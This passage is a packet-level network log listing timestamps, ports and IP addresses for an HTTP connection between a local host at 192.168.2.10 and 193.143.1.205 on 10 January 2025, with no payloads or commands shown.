Jan 10, 2025 21:57:12.237737894 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:57:12.237744093 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:57:12.237745047 CET	49705	80	192.168.2.10	193.143.1.205
Jan 10, 2025 21:57:12.237745047 CET	49705	80	192.168.2.10	193.143.1.205
Jan 10, 2025 21:57:12.237750053 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:57:12.237759113 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:57:12.237848043 CET	49705	80	192.168.2.10	193.143.1.205
Jan 10, 2025 21:57:12.272248030 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:57:12.272265911 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:57:12.272277117 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:57:12.272289038 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:57:12.272300005 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:57:12.272311926 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:57:12.272324085 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:57:12.272337914 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:57:12.272360086 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:57:12.272360086 CET	49705	80	192.168.2.10	193.143.1.205
Jan 10, 2025 21:57:12.272360086 CET	49705	80	192.168.2.10	193.143.1.205
Jan 10, 2025 21:57:12.272378922 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:57:12.272381067 CET	49705	80	192.168.2.10	193.143.1.205
Jan 10, 2025 21:57:12.272386074 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:57:12.272397041 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:57:12.272408009 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:57:12.272418022 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:57:12.272433996 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:57:12.272444963 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:57:12.272455931 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:57:12.272468090 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:57:12.272470951 CET	49705	80	192.168.2.10	193.143.1.205
Jan 10, 2025 21:57:12.272470951 CET	49705	80	192.168.2.10	193.143.1.205
Jan 10, 2025 21:57:12.272470951 CET	49705	80	192.168.2.10	193.143.1.205
Jan 10, 2025 21:57:12.272479057 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:57:12.272481918 CET	49705	80	192.168.2.10	193.143.1.205
Jan 10, 2025 21:57:12.272512913 CET	49705	80	192.168.2.10	193.143.1.205
Jan 10, 2025 21:57:12.272532940 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:57:12.272543907 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:57:12.272553921 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:57:12.272564888 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:57:12.272577047 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:57:12.272587061 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:57:12.272599936 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:57:12.272609949 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:57:12.272614002 CET	49705	80	192.168.2.10	193.143.1.205
Jan 10, 2025 21:57:12.272614002 CET	49705	80	192.168.2.10	193.143.1.205
Jan 10, 2025 21:57:12.272622108 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:57:12.272634029 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:57:12.272635937 CET	49705	80	192.168.2.10	193.143.1.205
Jan 10, 2025 21:57:12.272643089 CET	49705	80	192.168.2.10	193.143.1.205
Jan 10, 2025 21:57:12.272644997 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:57:12.272656918 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:57:12.272665977 CET	49705	80	192.168.2.10	193.143.1.205
Jan 10, 2025 21:57:12.272670031 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:57:12.272686958 CET	49705	80	192.168.2.10	193.143.1.205
Jan 10, 2025 21:57:12.272700071 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:57:12.272716999 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:57:12.272732019 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:57:12.272739887 CET	49705	80	192.168.2.10	193.143.1.205
Jan 10, 2025 21:57:12.272742987 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:57:12.272753954 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:57:12.272766113 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:57:12.272773981 CET	49705	80	192.168.2.10	193.143.1.205
Jan 10, 2025 21:57:12.272773981 CET	49705	80	192.168.2.10	193.143.1.205
Jan 10, 2025 21:57:12.272778034 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:57:12.272789955 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:57:12.272811890 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:57:12.272819042 CET	49705	80	192.168.2.10	193.143.1.205
Jan 10, 2025 21:57:12.272819042 CET	49705	80	192.168.2.10	193.143.1.205
Jan 10, 2025 21:57:12.272835016 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:57:12.272852898 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:57:12.272864103 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:57:12.272875071 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:57:12.272886038 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:57:12.272892952 CET	49705	80	192.168.2.10	193.143.1.205
Jan 10, 2025 21:57:12.272892952 CET	49705	80	192.168.2.10	193.143.1.205
Jan 10, 2025 21:57:12.272907972 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:57:12.272921085 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:57:12.272934914 CET	49705	80	192.168.2.10	193.143.1.205
Jan 10, 2025 21:57:12.272938967 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:57:12.272950888 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:57:12.272962093 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:57:12.272975922 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:57:12.272978067 CET	49705	80	192.168.2.10	193.143.1.205
Jan 10, 2025 21:57:12.272988081 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:57:12.273000002 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:57:12.273025990 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:57:12.273036003 CET	49705	80	192.168.2.10	193.143.1.205
Jan 10, 2025 21:57:12.273036003 CET	49705	80	192.168.2.10	193.143.1.205
Jan 10, 2025 21:57:12.273036003 CET	49705	80	192.168.2.10	193.143.1.205
Jan 10, 2025 21:57:12.273046970 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:57:12.273057938 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:57:12.273068905 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:57:12.273080111 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:57:12.273091078 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:57:12.273103952 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:57:12.273114920 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:57:12.273123980 CET	49705	80	192.168.2.10	193.143.1.205
Jan 10, 2025 21:57:12.273123980 CET	49705	80	192.168.2.10	193.143.1.205
Jan 10, 2025 21:57:12.273123980 CET	49705	80	192.168.2.10	193.143.1.205
Jan 10, 2025 21:57:12.273125887 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:57:12.273139954 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:57:12.273150921 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:57:12.273161888 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:57:12.273173094 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:57:12.273184061 CET	49705	80	192.168.2.10	193.143.1.205
Jan 10, 2025 21:57:12.273184061 CET	49705	80	192.168.2.10	193.143.1.205
Jan 10, 2025 21:57:12.273197889 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:57:12.273214102 CET	49705	80	192.168.2.10	193.143.1.205
Jan 10, 2025 21:57:12.273216009 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:57:12.273230076 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:57:12.273232937 CET	49705	80	192.168.2.10	193.143.1.205
Jan 10, 2025 21:57:12.273241043 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:57:12.273251057 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:57:12.273262978 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:57:12.273273945 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:57:12.273284912 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:57:12.273297071 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:57:12.273308992 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:57:12.273310900 CET	49705	80	192.168.2.10	193.143.1.205
Jan 10, 2025 21:57:12.273310900 CET	49705	80	192.168.2.10	193.143.1.205
Jan 10, 2025 21:57:12.273310900 CET	49705	80	192.168.2.10	193.143.1.205
Jan 10, 2025 21:57:12.273319960 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:57:12.273334026 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:57:12.273345947 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:57:12.273359060 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:57:12.273372889 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:57:12.273384094 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:57:12.273392916 CET	49705	80	192.168.2.10	193.143.1.205
Jan 10, 2025 21:57:12.273392916 CET	49705	80	192.168.2.10	193.143.1.205
Jan 10, 2025 21:57:12.273392916 CET	49705	80	192.168.2.10	193.143.1.205
Jan 10, 2025 21:57:12.273396015 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:57:12.273407936 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:57:12.273415089 CET	49705	80	192.168.2.10	193.143.1.205
Jan 10, 2025 21:57:12.273421049 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:57:12.274101019 CET	49705	80	192.168.2.10	193.143.1.205
Jan 10, 2025 21:57:12.274101019 CET	49705	80	192.168.2.10	193.143.1.205
Jan 10, 2025 21:57:12.305838108 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:57:12.305876017 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:57:12.305886030 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:57:12.305906057 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:57:12.305917025 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:57:12.305927992 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:57:12.305946112 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:57:12.305967093 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:57:12.305975914 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:57:12.305985928 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:57:12.305998087 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:57:12.306022882 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:57:12.306025028 CET	49705	80	192.168.2.10	193.143.1.205
Jan 10, 2025 21:57:12.306035042 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:57:12.306045055 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:57:12.306062937 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:57:12.306073904 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:57:12.306085110 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:57:12.306096077 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:57:12.306116104 CET	49705	80	192.168.2.10	193.143.1.205
Jan 10, 2025 21:57:12.306116104 CET	49705	80	192.168.2.10	193.143.1.205
Jan 10, 2025 21:57:12.306116104 CET	49705	80	192.168.2.10	193.143.1.205
Jan 10, 2025 21:57:12.306139946 CET	49705	80	192.168.2.10	193.143.1.205
Jan 10, 2025 21:57:12.349081039 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:57:12.349100113 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:57:12.349111080 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:57:12.349124908 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:57:12.349138021 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:57:12.349148989 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:57:12.349173069 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:57:12.349191904 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:57:12.349195957 CET	49705	80	192.168.2.10	193.143.1.205
Jan 10, 2025 21:57:12.349195957 CET	49705	80	192.168.2.10	193.143.1.205
Jan 10, 2025 21:57:12.349205971 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:57:12.349216938 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:57:12.349230051 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:57:12.349241018 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:57:12.349251032 CET	49705	80	192.168.2.10	193.143.1.205
Jan 10, 2025 21:57:12.349251032 CET	49705	80	192.168.2.10	193.143.1.205
Jan 10, 2025 21:57:12.349261045 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:57:12.349272966 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:57:12.349277020 CET	49705	80	192.168.2.10	193.143.1.205
Jan 10, 2025 21:57:12.349286079 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:57:12.349297047 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:57:12.349309921 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:57:12.349314928 CET	49705	80	192.168.2.10	193.143.1.205
Jan 10, 2025 21:57:12.349322081 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:57:12.349332094 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:57:12.349345922 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:57:12.349361897 CET	49705	80	192.168.2.10	193.143.1.205
Jan 10, 2025 21:57:12.349361897 CET	49705	80	192.168.2.10	193.143.1.205
Jan 10, 2025 21:57:12.349468946 CET	49705	80	192.168.2.10	193.143.1.205
Jan 10, 2025 21:57:12.358206034 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:57:12.358221054 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:57:12.358232021 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:57:12.358242989 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:57:12.358256102 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:57:12.358267069 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:57:12.358280897 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:57:12.358283997 CET	49705	80	192.168.2.10	193.143.1.205
Jan 10, 2025 21:57:12.358339071 CET	49705	80	192.168.2.10	193.143.1.205
Jan 10, 2025 21:57:12.358395100 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:57:12.358406067 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:57:12.358417988 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:57:12.358429909 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:57:12.358452082 CET	49705	80	192.168.2.10	193.143.1.205
Jan 10, 2025 21:57:12.358452082 CET	49705	80	192.168.2.10	193.143.1.205
Jan 10, 2025 21:57:12.358800888 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:57:12.358813047 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:57:12.358824015 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:57:12.358843088 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:57:12.358855963 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:57:12.358867884 CET	49705	80	192.168.2.10	193.143.1.205
Jan 10, 2025 21:57:12.358869076 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:57:12.358867884 CET	49705	80	192.168.2.10	193.143.1.205
Jan 10, 2025 21:57:12.358882904 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:57:12.358895063 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:57:12.358906984 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:57:12.358916998 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:57:12.358928919 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:57:12.358930111 CET	49705	80	192.168.2.10	193.143.1.205
Jan 10, 2025 21:57:12.358930111 CET	49705	80	192.168.2.10	193.143.1.205
Jan 10, 2025 21:57:12.358947039 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:57:12.358958006 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:57:12.358961105 CET	49705	80	192.168.2.10	193.143.1.205
Jan 10, 2025 21:57:12.358968973 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:57:12.358980894 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:57:12.358989000 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:57:12.359000921 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:57:12.359003067 CET	49705	80	192.168.2.10	193.143.1.205
Jan 10, 2025 21:57:12.359003067 CET	49705	80	192.168.2.10	193.143.1.205
Jan 10, 2025 21:57:12.359025002 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:57:12.359036922 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:57:12.359050035 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:57:12.359052896 CET	49705	80	192.168.2.10	193.143.1.205
Jan 10, 2025 21:57:12.359052896 CET	49705	80	192.168.2.10	193.143.1.205
Jan 10, 2025 21:57:12.359061003 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:57:12.359071970 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:57:12.359083891 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:57:12.359092951 CET	49705	80	192.168.2.10	193.143.1.205
Jan 10, 2025 21:57:12.359092951 CET	49705	80	192.168.2.10	193.143.1.205
Jan 10, 2025 21:57:12.359102964 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:57:12.359116077 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:57:12.359127045 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:57:12.359138966 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:57:12.359144926 CET	49705	80	192.168.2.10	193.143.1.205
Jan 10, 2025 21:57:12.359146118 CET	49705	80	192.168.2.10	193.143.1.205
Jan 10, 2025 21:57:12.359149933 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:57:12.359162092 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:57:12.359173059 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:57:12.359193087 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:57:12.359193087 CET	49705	80	192.168.2.10	193.143.1.205
Jan 10, 2025 21:57:12.359194040 CET	49705	80	192.168.2.10	193.143.1.205
Jan 10, 2025 21:57:12.359204054 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:57:12.359215021 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:57:12.359235048 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:57:12.359246969 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:57:12.359247923 CET	49705	80	192.168.2.10	193.143.1.205
Jan 10, 2025 21:57:12.359247923 CET	49705	80	192.168.2.10	193.143.1.205
Jan 10, 2025 21:57:12.359260082 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:57:12.359283924 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:57:12.359294891 CET	49705	80	192.168.2.10	193.143.1.205
Jan 10, 2025 21:57:12.359297037 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:57:12.359308958 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:57:12.359332085 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:57:12.359333038 CET	49705	80	192.168.2.10	193.143.1.205
Jan 10, 2025 21:57:12.359353065 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:57:12.359354019 CET	49705	80	192.168.2.10	193.143.1.205
Jan 10, 2025 21:57:12.359364033 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:57:12.359375954 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:57:12.359386921 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:57:12.359397888 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:57:12.359410048 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:57:12.359414101 CET	49705	80	192.168.2.10	193.143.1.205
Jan 10, 2025 21:57:12.359414101 CET	49705	80	192.168.2.10	193.143.1.205
Jan 10, 2025 21:57:12.359424114 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:57:12.359442949 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:57:12.359453917 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:57:12.359462976 CET	49705	80	192.168.2.10	193.143.1.205
Jan 10, 2025 21:57:12.359462976 CET	49705	80	192.168.2.10	193.143.1.205
Jan 10, 2025 21:57:12.359466076 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:57:12.359477043 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:57:12.359489918 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:57:12.359510899 CET	49705	80	192.168.2.10	193.143.1.205
Jan 10, 2025 21:57:12.359512091 CET	49705	80	192.168.2.10	193.143.1.205
Jan 10, 2025 21:57:12.360616922 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:57:12.360632896 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:57:12.360645056 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:57:12.360656023 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:57:12.360666990 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:57:12.360678911 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:57:12.360699892 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:57:12.360711098 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:57:12.360723019 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:57:12.360728979 CET	49705	80	192.168.2.10	193.143.1.205
Jan 10, 2025 21:57:12.360728979 CET	49705	80	192.168.2.10	193.143.1.205
Jan 10, 2025 21:57:12.360733986 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:57:12.360747099 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:57:12.360763073 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:57:12.360768080 CET	49705	80	192.168.2.10	193.143.1.205
Jan 10, 2025 21:57:12.360768080 CET	49705	80	192.168.2.10	193.143.1.205
Jan 10, 2025 21:57:12.360779047 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:57:12.360790968 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:57:12.360802889 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:57:12.360806942 CET	49705	80	192.168.2.10	193.143.1.205
Jan 10, 2025 21:57:12.360806942 CET	49705	80	192.168.2.10	193.143.1.205
Jan 10, 2025 21:57:12.360814095 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:57:12.360826015 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:57:12.360836983 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:57:12.360851049 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:57:12.360852003 CET	49705	80	192.168.2.10	193.143.1.205
Jan 10, 2025 21:57:12.360852003 CET	49705	80	192.168.2.10	193.143.1.205
Jan 10, 2025 21:57:12.360862017 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:57:12.360873938 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:57:12.360915899 CET	49705	80	192.168.2.10	193.143.1.205
Jan 10, 2025 21:57:12.360915899 CET	49705	80	192.168.2.10	193.143.1.205
Jan 10, 2025 21:57:12.392829895 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:57:12.392851114 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:57:12.392951965 CET	49705	80	192.168.2.10	193.143.1.205
Jan 10, 2025 21:57:12.610603094 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:57:12.610713005 CET	49705	80	192.168.2.10	193.143.1.205
Jan 10, 2025 21:57:12.645809889 CET	49705	80	192.168.2.10	193.143.1.205
Jan 10, 2025 21:57:12.650676966 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:57:12.650693893 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:57:12.650705099 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:57:12.650830030 CET	49705	80	192.168.2.10	193.143.1.205
Jan 10, 2025 21:57:12.652762890 CET	49705	80	192.168.2.10	193.143.1.205
Jan 10, 2025 21:57:12.657845974 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:57:12.657861948 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:57:12.657875061 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:57:12.657893896 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:57:12.657906055 CET	49705	80	192.168.2.10	193.143.1.205
Jan 10, 2025 21:57:12.657907009 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:57:12.657917976 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:57:12.657924891 CET	49705	80	192.168.2.10	193.143.1.205
Jan 10, 2025 21:57:12.657931089 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:57:12.657942057 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:57:12.657954931 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:57:12.657967091 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:57:12.657989025 CET	49705	80	192.168.2.10	193.143.1.205
Jan 10, 2025 21:57:12.657989025 CET	49705	80	192.168.2.10	193.143.1.205
Jan 10, 2025 21:57:12.657994986 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:57:12.658011913 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:57:12.658024073 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:57:12.658031940 CET	49705	80	192.168.2.10	193.143.1.205
